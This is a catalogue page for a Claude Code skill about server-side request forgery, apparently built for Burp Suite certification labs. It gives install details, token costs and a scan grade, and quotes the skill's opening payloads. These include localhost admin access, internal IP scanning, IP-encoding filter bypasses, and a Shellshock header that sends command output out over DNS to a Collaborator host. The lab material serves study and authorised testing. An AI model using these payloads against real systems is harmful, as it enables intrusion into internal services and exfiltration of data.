SSRF — Complete Deep Dive

SSRF — Complete Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 26 tokens per session (1,300 once invoked), scanned A, a copy of CORS Misconfiguration — Complete Deep Dive, Apache-2.0.

A guide to server-side request forgery (SSRF), where an attacker makes a server send a request to a chosen internal or external address. It covers training labs and common validation-bypass techniques.

In plain words
What is it for?
Studying for the Burp Suite Certified Practitioner exam and assessing approved applications that fetch URLs, query stock services, or connect to back-end systems.
Why use it?
It helps testers determine whether a server can reach internal services or administrative endpoints that are not directly exposed to the internet.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Studying for the Burp Suite Certified Practitioner exam and assessing approved applications that fetch URLs, query stock services, or connect to back-end systems.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/ssrf

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for SSRF — Complete Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf)
Your own site
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Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for SSRF — Complete Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 26 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,300 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 86% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00026 $0.01300
Opus 5 $0.00013 $0.00650
Sonnet 5 $0.00005 $0.00260
Haiku 4.5 $0.00003 $0.00130

Measured 7d ago against content hash 89b2216d8b60, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

SSRF — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python]
Origin

This is a copy

86% identical to CORS Misconfiguration — Complete Deep Dive — 66 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/bug-hunting/deep-dive-labs/ssrf/SKILL.md · 146 lines

How it starts

The opening of the file, as written. The whole thing — 146 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SSRF — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • Studying for BSCP (Burp Suite Certified Practitioner) certification
  • Testing real-world targets for these vulnerability classes
  • Bug bounty hunting — these exact techniques find real bugs
  • Building exploitation chains

Prerequisites

  • Burp Suite Professional (Community works for most)
  • Browser with proxy configured
  • Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Basic against local server 🟢 APPRENTICE

POST /product/stock HTTP/1.1

stockApi=http://localhost/admin

Access admin panel via localhost, then delete user: stockApi=http://localhost/admin/delete?username=carlos

Lab 2: Against another back-end 🟢 APPRENTICE

stockApi=http://192.168.0.§1§:8080/admin

Burp Intruder: scan 192.168.0.1-255 on port 8080 to find internal admin.

Lab 3: Blind with out-of-band 🟡 PRACTITIONER

Referer: http://BURP-COLLAB.net

Some apps fetch analytics from Referer URL server-side.

Lab 4: Blacklist-based filter bypass 🟡 PRACTITIONER

stockApi=http://127.1/Admin
# Bypasses: 127.1 (shorthand), Admin (case variation)
# Also try: http://2130706433 (decimal IP), http://017700000001 (octal)

Lab 5: Filter bypass via open redirect 🟡 PRACTITIONER

stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin

SSRF filter checks stockApi domain. Open redirect on same domain fetches internal URL.

Lab 6: Blind SSRF with Shellshock 🔴 EXPERT

Referer: http://192.168.0.§1§:8080
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).COLLAB.net

Blind SSRF + Shellshock on internal server. Scan internal range, exfiltrate via DNS.

Read the full file on GitHub · 146 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 146 lines · 26 tokens per session scan A 89b2216d8b60

Subscribe to this mod's changes

SSRF — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 26 tokens to every session and 1,300 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 86% identical to CORS Misconfiguration — Complete Deep Dive, differing in 66 lines, and is treated as a copy.